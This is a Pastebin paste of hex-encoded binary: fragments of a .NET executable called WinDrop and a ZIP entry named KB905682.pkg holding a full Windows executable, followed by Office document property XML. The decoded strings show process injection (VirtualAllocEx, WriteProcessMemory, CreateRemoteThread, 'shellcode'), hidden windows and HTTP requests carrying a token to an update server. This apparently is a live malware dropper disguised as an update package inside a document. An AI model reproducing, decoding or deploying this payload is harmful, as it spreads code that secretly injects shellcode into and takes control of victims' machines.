646c6c2e646c6c007365745f536563757269747950726f746f636f6c0073736c00476574526573706f6e736553747265616d004765745265717565737453747265616d004d656d6f727953747265616d00476574506172616d0050726f6772616d006765745f4974656d0053797374656d00456e756d006c704e756d6265724f6642797465735772697474656e004d61696e0058353039436861696e00636861696e00536574496e666f726d6174696f6e005175657279496e666f726d6174696f6e00564d4f7065726174696f6e0053797374656d2e5265666c656374696f6e0047726f7570436f6c6c656374696f6e0057696e44726f700047726f7570006c704275666665720053657276696365506f696e744d616e6167657200496e7374616c6c6572006c70506172616d65746572006c705374617274506172616d657465720047657444656c6567617465466f7246756e6374696f6e506f696e746572002e63746f72002e6363746f72006c70536563757269747944657363726970746f720055496e745074720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e496e7465726f7053657276696365730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053797374656d2e53656375726974792e43727970746f6772617068792e58353039436572746966696361746573006c70546872656164417474726962757465730047657442797465730064774372656174696f6e466c6167730050726f63657373416363657373466c6167730061726773004943726564656e7469616c73007365745f43726564656e7469616c73006765745f44656661756c7443726564656e7469616c7300546f6f6c730053797374656d2e546578742e526567756c617245787072657373696f6e730053797374656d2e436f6c6c656374696f6e73006765745f47726f7570730052756e74696d6548656c70657273006765745f506172616d65746572730053736c506f6c6963794572726f727300647744657369726564416363657373006765745f53756363657373004973576f77363450726f63657373006850726f63657373004f70656e50726f636573730047657443757272656e7450726f636573730047657450726f6341646472657373006c704261736541646472657373006c7041646472657373006c7053746172744164647265737300737461636b5a65726f4269747300436f6e63617400416464724f6650696e6e65644f626a656374006f626a65637400496e6a656374006c70666c4f6c6450726f74656374005669727475616c50726f7465637400666c50726f7465637400666c4e657750726f746563740053797374656d2e4e6574006f705f4578706c69636974006c70537461636b436f6d6d6974006765745f44656661756c7400494173796e63526573756c7400726573756c74004372797074006365727400436f6e76657274004874747057656252657175657374007365745f54696d656f75740053797374656d2e54657874006765745f436f6e7465787400496e7374616c6c436f6e7465787400476574436f6e736f6c6557696e646f770053686f7757696e646f77006e436d6453686f77005669727475616c416c6c6f634578005669727475616c46726565457800526567657800496e697469616c697a65417272617900546f4172726179006b6579004944696374696f6e61727900537472696e6744696374696f6e61727900577269746550726f636573734d656d6f72790053797374656d2e4e65742e536563757269747900456d707479006765745f50726f7879004957656250726f787900000000000950004f0053005400000d74006f006b0065006e003d0000092600690064003d00000331000003300000436100700070006c00690063006100740069006f006e002f0078002d007700770077002d0066006f0072006d002d00750072006c0065006e0063006f00640065006400010b680074007400700073000009680074007400700000292700730068006f00770061006e006400740065006c006c0027003e0028002e002a003f0029003c00011955007000640061007400650053006500720076006500720000054900440000009cd85b217ad4eb4f8a7c2bb9e05b9c0600042001010803200001052001011111042001010e04200101020607031141180908000211411c11809103200018040001190b08000112809911809d0900021280a51812809919070d1d051d0512450e1d05081249124d1d051251124d1255080600011280ad0e052002011c180500010112710520001280b50500001280bd062001011280bd0600030e0e0e0e030000080500020e0e0e0500001280c90520011d050e042001010a042000124d072003011d050808060001011180d10520020e0e0e0420001251072003081d0508080420001d050520010e1d0506000212490e0e032000020520001280dd0620011280d9080320000e0500011d050e0507021d05080a07050e0e1d051d051d0503200008090002011280ed1180f10407020e1c0520001280f50520001280f90420010e0e02060e08b77a5c561934e08908b03f5f7f11d50a3a0800100000000000000800200000000000000201000202000204000208000210000220000240000280000400020000080000000200000000080000002000000000080000004000000000080000008000000000080000000400000000040040000004020000000400200000040001000004008000000408000000042000000004f003000004000000000401000000041000000004400000000400040000040000100004ff0f1f0002060b020607020609020608030611240306111c0306122003061271050001021d05070004181819090908000518181809090905000218180e070004021818190906000302181909080004021819091009090005021818180910190b000718181819181809101811000a181818020b1018101818181018101804000102180300001807000318111c020804000102080600021d050e0e0800021d051d051d05050001011d0e050002021808062001011280890420011c0e072002125d12611c05200101125d030000010a2004021c12751279117d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000000c01000757696e44726f70000005010000000017010012436f7079726967687420c2a920203230313600002901002434313536643331312d383337612d343137362d386462362d36313962306464336166393400000c010007312e302e302e30000005010001000000000000000081bf9b5700000000020000001c010000dc400000dc220000525344535ed2885e72fd4e40a303242a4514c99901000000433a5c55736572735c4e69636b5c446f63756d656e74735c53564e5c5468726f776261636b5c5468726f776261636b322e355c57696e44726f705c6f626a5c7836345c52656c656173655c57696e44726f702e7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008196fefeab8dcdc72341000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001000000020000080180000005000008000000000000000000000000000000100010000003800008000000000000000000000000000000100000000008000000000000000000000000000000000000100010000006800008000000000000000000000000000000100000000009c030000906000000c03000000000000000000000c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000001000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b0046c020000010053007400720069006e006700460069006c00650049006e0066006f0000004802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d0065000000000000000000380008000100460069006c0065004400650073006300720069007000740069006f006e0000000000570069006e00440072006f0070000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e003000000038000c00010049006e007400650072006e0061006c004e0061006d0065000000570069006e00440072006f0070002e0065007800650000004800120001004c006500670061006c0043006f007000790072006900670068007400000043006f0070007900720069006700680074002000a90020002000320030003100360000002a00010001004c006500670061006c00540072006100640065006d00610072006b007300000000000000000040000c0001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570069006e00440072006f0070002e006500780065000000300008000100500072006f0064007500630074004e0061006d00650000000000570069006e00440072006f0070000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e0030000000ac630000ea0100000000000000000000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a0d0a3c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c617373656d626c794964656e746974792076657273696f6e3d22312e302e302e3022206e616d653d224d794170706c69636174696f6e2e617070222f3e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7632223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c6567657320786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365222f3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a3c2f617373656d626c793e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504b010214001400000000003375fd48faea975e002c0000002c00000c0000000000000000000000ff81000000004b423930353638322e706b67504b050600000000010001003a0000002a2c00000000|504b03041400000000003375fd48604f6359002e0000002e00000c0000004b423930353638322e706b674d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c01030082bf9b570000000000000000e00002010b0130000024000000080000000000005242000000200000006000000000400000200000000200000400000000000000040000000000000000a000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000004200004f000000006000009c05000000000000000000000000000000000000008000000c000000c84000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e7465787400000068220000002000000024000000020000000000000000000000000000200000602e727372630000009c050000006000000006000000260000000000000000000000000000400000402e72656c6f6300000c0000000080000000020000002c000000000000000000000000000040000042000000000000000000000000000000003442000000000000480000000200050054240000741c000003000000120000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001330040041000000010000110219281100000a0a1200281200000a0b07028e696a281300000a1f40120228070000062c1a07d006000002281400000a281500000a74060000026f1a000006172a0000001b300400330200000200001120001000008d2a0000010b02281600000a74110000010c0872010000706f1700000a08166f1800000a0820b80b00006f1900000a7e29000004252d17267e28000004fe061f000006731a00000a258029000004281b00000a086f1c00000a281d00000a6f1e00000a08281d00000a6f1f00000a720b000070037219000070282000000a0d282100000a1e330e097223000070282200000a0d2b0c097227000070282200000a0d282300000a096f2400000a130408722b0000706f2500000a0811048e696a6f2600000a16130538b200000000086f2700000a1307110711041611048e696f2800000ade0c11072c0711076f2900000adc191305dd850000002611052d1302281600000a74110000010c1f30282a00000a110517331b02726f000070727b0000706f2b00000a281600000a74110000010c110518330d168d2a0000011308dde80000000872010000706f1700000a08722b0000706f2500000a08166f1800000a0811048e696a6f2600000a0820b80b00006f1900000a110517581305de001105193f46ffffff086f2c00000a130911096f2d00000a130a732e00000a130b16130c110a0716078e696f2f00000a130c110b0716110c6f2800000a110c2de3110b6f3000000a0ade24110b2c07110b6f2900000adc110a2c07110a6f2900000adc11092c0711096f2900000adc283100000a066f3200000a7285000070283300000a130611066f3400000a2c1811066f3500000a176f3600000a6f3700000a283800000a2a168d2a0000012a11082a00014000000200da0010ea000c000000000000d2002cfe00850f0000010200a3012acd010c0000000002009c013dd9010c000000000200930152e5010c00000000133006002800000003000011028e698d2a0000010a160b2b1306070207910307038e695d9161d29c0717580b07028e6932e7062a1e02283900000a2a062a00001330030075000000040000112814000006162815000006260272af000070281700000674300000010a0272c9000070281700000674300000010b066f3a00000a2d012a0607280f0000060c088e2d012a1f0a8d2a00000125d01c000004283b00000a0d0809281000000613041104169120e80000002e012a11042801000006262a0000001b3002003b0000000500001102283c00000a2c2602283c00000a6f3d00000a2c1902283c00000a6f3d00000a036f3e00000a0a062c04060bde0bde0326de007e3f00000a2a072a000110000000000000303000030f0000011e02284000000a2a2e731e00000680280000042a0a172a0042534a4201000100000000000c00000076322e302e35303732370000000005006c000000580a0000237e0000c40a0000740d000023537472696e67730000000038180000d00000002355530008190000100000002347554944000000181900005c03000023426c6f620000000000000002000001579d02340902000000fa013300160000010000003e00000009000000290000001f000000440000004000000025000000110000000100000005000000030000000f000000010000000100000003000000040000000000d30601000000000006002b06dc0906009806dc0906005305aa090f00fc09000006007b05ee080600e905ee080600ca05ee0806007f06ee0806004b06ee0806006406ee0806009205ee0806006705bd0906004505bd090600ad05ee080600cb0b8a080600ca03bd090a006d0c150c0a003107b70a0600690807020a00c404150c0600630807020600fb048a080600460c8a08060059078a0806001c068a08060091088a0806002a05dc090a006707430d0600e4040b0a0a00b2080b0a0a00120b430d0a000606c4070e003b09de070600130dd60a06007c048a0806006f04bd090600a2098a080600b7048a080600e6038a080600bc07bd09060004058a080600b6068a080a00710c150c0a002709150c0a00670d150c0a009803150c0a007d0a150c06002a078a080600a3098a0806000d07880c0600be038a080a008604150c0a00f10cb70a0a001809b70a0a000009b70a0a00bc04b70a0600650c8a080600f40adc090600090d8a080600d3038a080e00a00cde070a001f0d4003000000004600000000000100010001001000b10a10093d000100010000001000790810093d001b001200010010004c04100985001b001400000100004f0000003d001c001900030100009700000059001d00190002010000650a000069001d001d0003211000c80200003d0028001d0013010000010000008d002a00200056806702ed015680dd01ed0156802902f00156807202f00156808001f00156808002f0015680ba01f00156809a00f00156808f01f00156808f02f00156802701f30156803401ed015680c701ed015680ac00ed015680a601ed015680bf00ed0156805a02f30156800b01f3015680e901f30156804e01f00156803702f30156807401f3015680a602f30156801102f3015680d800f0015680f801f30151800301f60133016e00f9010606b202f30156800d05fd015680ec02fd015680e208fd015680e502fd0156802205fd0156801604fd015680c208fd015680d108fd0156800107fd015680da07fd0136004200010216001e0005025020000000009600d90b090201000000000080009620cc020f0202000000000080009620d40c170206000000000080009620740b20020b000000000080009620e30c26020d0000000000800096208c032e0211000000000080009620ef0b350214000000000080009620300d3e0218000000000080009620f90248021d0000000000800096200c03540224000000000080009620f80366022e000000000080009620620b6b022f000000000080009620560b6f022f0000000000800096203e0b77023200a02000000000960044047c02330020230000000096005a0c8302350054230000000086188009060037005c23000000009100ad088c02370054230000000086188009060038000000000080009120af0c6b0238000000000080009120c00c92023800602300000000c600fb0798023a00e42300000000810070089f023b003c24000000008618800906003c000000000003008618800967003c00000000000300c601b70306003e00000000000300c601b203a4023e00000000000300c601a803ac02400044240000000091188609b2024100542300000000861880090600410050240000000083002800b602410000000100820300000100910b00000200fa06000003009b0400000400fe0b000001004d0b00000200910b00000300fa06000004009b0400000500fe0b000001005304000002005b04000001004d0b00000200910b00000300fa0600000400640400000100910b00000200fa0600000300640400000100910b00000200fa0600000300080c02000400e00b000001004d0b00000200830b000003001e0900000400f406020005009608000001004d0b00000200390a00000300e806000004009b0b00000500450900000600550a02000700ed00000001002004000002008d0900000300200300000400aa0b020005003003020006002c0c000007009b0b00000800510902000900ed0002000a00f800000001003d0400000100220b000002002e0400000300d902000001004d0b000001003707000002005f0300000100ba02000002000f0d00000100780a00000100630300000200cb0c000001001705000001001c0900000100d20b00000200730300000100b30700000200d20b00000100530c00000100b60b00000200600c00000300bc08000004003c08090080090100110080090600190080090a00290080091000310080091000390080091000410080091000490080091000510080091000590080091000610080091500690080091000710080091000c90080090600d900800906000101800915008100d30221008100bf0b2a002901200c2e00310104043300410162093c005901f40460005901680310008900c506150059017c0c0100e1008009670061018b076d0059015d0d730071019a0a790069018a0a7f0059018a0a7f008101b80b86008901df068d008101b80b910091013900970091014c0a9d005901ac04100059014707a30059015208a80099002405ad009901dc04060061012708b50081017a03bc005901d004c200a1004008a800a900800906009900e702c700a900070dcf0091013a0c970091012707d400a9013107da00b101320be1009100e90ae500b9018108eb00c101bb06f200c9011607f60079008009060081013c070d01d101f70c11010901940c2001e901030b2601f10181082c018101570d31010901800906000b00040046010b0008004f0107000c005801070010005b01070014005e0107001800610107001c006401070020006701070024006a01070028006d0109002c0070010b00300075010b0034007e010b00380087010b003c0090010b004000990109004400a20109004800a70109004c00ac01070050006a0109005400b10109005800b60109005c00bb0109006000c001070064005b0109006800c50108006c00ca0109007800cf0109007c00a70109008000bb0109008400d40109008800c00109008c00d90109009000700109009400de0109009800e30109009c00e8012e000b00c1022e001300ca022e001b00e9022e002300f2022e002b00ff022e003300ff022e003b00ff022e004300f2022e004b0005032e005300ff022e005b00ff022e0063001d032e006b004703830083005403a3007b00cf01e3007300cf0103017b00cf0101000a00000009001a004600fc0002011b0105081d08120800010500cc02010000010700d40c010000010900740b010000010b00e30c010000010d008c03010000010f00ef0b010000011100300d010000011300f9020100000115000c03020000011700f803010000011900620b010000011b00560b010000011d003e0b010000012900af0c010000012b00c00c0300584200001c00048000000100000000000000000000000000100900000200000000000000000000003401bf020000000002000000000000000000000034018a08000000000200000000000000000000003d01de07000000000600020007000200080002000900050000000000005f5f5374617469634172726179496e69745479706553697a653d3130003c3e395f5f34325f30003c47657446696c653e625f5f34325f30006765745f55544638003c3e39003c4d6f64756c653e003c50726976617465496d706c656d656e746174696f6e44657461696c733e003535313030394637384243444342374631423435463142373045394530363346323241344331454300534300504147455f455845435554455f5245414400494d4147455f53434e5f4d454d5f5245414400494d4147455f53434e5f4d454d5f4e4f545f4341434845440053455f50524956494c4547455f454e41424c4544006c705468726561644944006c70436c69656e7449440053575f4849444500494d4147455f46494c455f45584543555441424c455f494d41474500504147455f4e4f434143484500494d4147455f53434e5f4d454d5f4449534341524441424c4500494d4147455f444c4c4348415241435445524953544943535f44594e414d49435f42415345004d454d5f52454c4541534500504147455f52454144575249544500504147455f455845435554455f52454144575249544500494d4147455f53434e5f4d454d5f575249544500504147455f4558454355544500494d4147455f53434e5f4d454d5f45584543555445004d454d5f5245534552564500494d4147455f46494c455f444c4c004552524f525f4e4f5f544f4b454e0053797374656d2e494f00544f4b454e5f41444a5553545f50524956494c4547455300504147455f4e4f41434345535300494d4147455f444c4c4348415241435445524953544943535f4e585f434f4d504154004d454d5f4445434f4d4d4954004d454d5f434f4d4d495400504147455f524541444f4e4c5900504147455f5752495445434f505900504147455f455845435554455f5752495445434f505900544f4b454e5f51554552590076616c75655f5f0064617461006d73636f726c6962003c3e63005669727475616c416c6c6f6300647750726f63657373496400564d52656164004372656174655468726561640043726561746552656d6f74655468726561640052544c437265617465557365725468726561640063726561746553757370656e646564006c70537461636b52657365727665640053797374656d2e436f6c6c656374696f6e732e5370656369616c697a6564007569640068576e64007365745f4d6574686f64006d6574686f64005265706c616365007368656c6c636f6465005669727475616c467265650043726564656e7469616c436163686500456e64496e766f6b6500426567696e496e766f6b650049446973706f7361626c6500474348616e646c650052756e74696d654669656c6448616e646c650052756e74696d655479706548616e646c6500436c6f736548616e646c65004765745479706546726f6d48616e646c650044757048616e646c650050726f6365737348616e646c650062496e686572697448616e646c650068616e646c650047657446696c650053616d706c6500684d6f64756c650070726f634e616d65006477467265655479706500474348616e646c65547970650056616c75655479706500536563757269747950726f746f636f6c5479706500666c416c6c6f636174696f6e54797065007365745f436f6e74656e7454797065004361707475726500576562526573706f6e736500476574526573706f6e736500446973706f73650058353039436572746966696361746500437265617465004d756c74696361737444656c6567617465005465726d696e617465007361766564537461746500564d577269746500436f6d70696c657247656e65726174656441747472696275746500477569644174747269627574650044656275676761626c6541747472696275746500436f6d56697369626c6541747472696275746500417373656d626c795469746c6541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e4174747269627574650052756e496e7374616c6c657241747472696275746500466c61677341747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c6974794174747269627574650042797465006765745f56616c7565007365745f4b656570416c6976650057696e44726f702e657865006765745f53697a65006477537461636b53697a65006e53697a6500647753697a650053796e6368726f6e697a6500456e636f64696e670046726f6d426173653634537472696e6700476574537472696e67004d617463680070617468006765745f4c656e677468007365745f436f6e74656e744c656e677468004173796e6343616c6c6261636b0052656d6f7465436572746966696361746556616c69646174696f6e43616c6c6261636b007365745f536572766572436572746966696361746556616c69646174696f6e43616c6c6261636b0063616c6c6261636b004d61727368616c0053797374656d2e436f6d706f6e656e744d6f64656c00416c6c0053797374656d2e436f6e66696775726174696f6e2e496e7374616c6c00556e696e7374616c6c006b65726e656c33322e646c6c007573657233322e646c6c006e74646c6c2e646c6c007365745f536563757269747950726f746f636f6c0073736c00476574526573706f6e736553747265616d004765745265717565737453747265616d004d656d6f727953747265616d00476574506172616d0050726f6772616d006765745f4974656d0053797374656d00456e756d006c704e756d6265724f6642797465735772697474656e004d61696e0058353039436861696e00636861696e00536574496e666f726d6174696f6e005175657279496e666f726d6174696f6e00564d4f7065726174696f6e0053797374656d2e5265666c656374696f6e0047726f7570436f6c6c656374696f6e0057696e44726f700047726f7570006c704275666665720053657276696365506f696e744d616e6167657200496e7374616c6c6572006c70506172616d65746572006c705374617274506172616d657465720047657444656c6567617465466f7246756e6374696f6e506f696e746572002e63746f72002e6363746f72006c70536563757269747944657363726970746f720055496e745074720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e496e7465726f7053657276696365730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053797374656d2e53656375726974792e43727970746f6772617068792e58353039436572746966696361746573006c70546872656164417474726962757465730047657442797465730064774372656174696f6e466c6167730050726f63657373416363657373466c6167730061726773004943726564656e7469616c73007365745f43726564656e7469616c73006765745f44656661756c7443726564656e7469616c7300546f6f6c730053797374656d2e546578742e526567756c617245787072657373696f6e730053797374656d2e436f6c6c656374696f6e73006765745f47726f7570730052756e74696d6548656c70657273006765745f506172616d65746572730053736c506f6c6963794572726f727300647744657369726564416363657373006765745f53756363657373004973576f77363450726f63657373006850726f63657373004f70656e50726f636573730047657443757272656e7450726f636573730047657450726f6341646472657373006c704261736541646472657373006c7041646472657373006c7053746172744164647265737300737461636b5a65726f4269747300436f6e63617400416464724f6650696e6e65644f626a656374006f626a65637400496e6a656374006c70666c4f6c6450726f74656374005669727475616c50726f7465637400666c50726f7465637400666c4e657750726f746563740053797374656d2e4e6574006f705f4578706c69636974006c70537461636b436f6d6d6974006765745f44656661756c7400494173796e63526573756c7400726573756c74004372797074006365727400436f6e76657274004874747057656252657175657374007365745f54696d656f75740053797374656d2e54657874006765745f436f6e7465787400496e7374616c6c436f6e7465787400476574436f6e736f6c6557696e646f770053686f7757696e646f77006e436d6453686f77005669727475616c416c6c6f634578005669727475616c46726565457800526567657800496e697469616c697a65417272617900546f4172726179006b6579004944696374696f6e61727900537472696e6744696374696f6e61727900577269746550726f636573734d656d6f72790053797374656d2e4e65742e536563757269747900456d707479006765745f50726f7879004957656250726f787900000000000950004f0053005400000d74006f006b0065006e003d0000092600690064003d00000331000003300000436100700070006c00690063006100740069006f006e002f0078002d007700770077002d0066006f0072006d002d00750072006c0065006e0063006f00640065006400010b680074007400700073000009680074007400700000292700730068006f00770061006e006400740065006c006c0027003e0028002e002a003f0029003c00011955007000640061007400650053006500720076006500720000054900440000003dde201397ba2f47b8100ee51a93e3b800042001010803200001052001011111042001010e04200101020607031141180908000211411c11809103200018040001190b08000112809911809d0900021280a51812809919070d1d051d0512450e1d05081249124d1d051251124d1255080600011280ad0e052002011c180500010112710520001280b50500001280bd062001011280bd0600030e0e0e0e030000080500020e0e0e0500001280c90520011d050e042001010a042000124d072003011d050808060001011180d10520020e0e0e0420001251072003081d0508080420001d050520010e1d0506000212490e0e032000020520001280dd0620011280d9080320000e0500011d050e0507021d05080a07050e0e1d051d051d0503200008090002011280ed1180f10407020e1c0520001280f50520001280f90420010e0e02060e08b77a5c561934e08908b03f5f7f11d50a3a0800100000000000000800200000000000000201000202000204000208000210000220000240000280000400020000080000000200000000080000002000000000080000004000000000080000008000000000080000000400000000040040000004020000000400200000040001000004008000000408000000042000000004f003000004000000000401000000041000000004400000000400040000040000100004ff0f1f0002060b020607020609020608030611240306111c0306122003061271050001021d05070004181819090908000518181809090905000218180e070004021818190906000302181909080004021819091009090005021818180910190b000718181819181809101811000a181818020b1018101818181018101804000102180300001807000318111c020804000102080600021d050e0e0800021d051d051d05050001011d0e050002021808062001011280890420011c0e072002125d12611c05200101125d030000010a2004021c12751279117d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000000c01000757696e44726f70000005010000000017010012436f7079726967687420c2a920203230313600002901002434313536643331312d383337612d343137362d386462362d36313962306464336166393400000c010007312e302e302e30000005010001000000000000000082bf9b5700000000020000001c010000e4400000e422000052534453e350090fd603b6448c7ee3ac1d8971a601000000433a5c55736572735c4e69636b5c446f63756d656e74735c53564e5c5468726f776261636b5c5468726f776261636b322e355c57696e44726f705c6f626a5c7838365c52656c656173655c57696e44726f702e7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002842000000000000000000004242000000200000000000000000000000000000000000000000000034420000000000000000000000005f436f724578654d61696e006d73636f7265652e646c6c0000000000ff25002040008196fefeab8dcdc72341000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001000000020000080180000005000008000000000000000000000000000000100010000003800008000000000000000000000000000000100000000008000000000000000000000000000000000000100010000006800008000000000000000000000000000000100000000009c030000906000000c03000000000000000000000c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000001000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b0046c020000010053007400720069006e006700460069006c00650049006e0066006f0000004802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d0065000000000000000000380008000100460069006c0065004400650073006300720069007000740069006f006e0000000000570069006e00440072006f0070000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e003000000038000c00010049006e007400650072006e0061006c004e0061006d0065000000570069006e00440072006f0070002e0065007800650000004800120001004c006500670061006c0043006f007000790072006900670068007400000043006f0070007900720069006700680074002000a90020002000320030003100360000002a00010001004c006500670061006c00540072006100640065006d00610072006b007300000000000000000040000c0001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570069006e00440072006f0070002e006500780065000000300008000100500072006f0064007500630074004e0061006d00650000000000570069006e00440072006f0070000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e0030000000ac630000ea0100000000000000000000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a0d0a3c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c617373656d626c794964656e746974792076657273696f6e3d22312e302e302e3022206e616d653d224d794170706c69636174696f6e2e617070222f3e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7632223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c6567657320786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365222f3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a3c2f617373656d626c793e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000c000000543200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504b010214001400000000003375fd48604f6359002e0000002e00000c0000000000000000000000ff81000000004b423930353638322e706b67504b050600000000010001003a0000002a2e00000000</HyperlinkBase><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top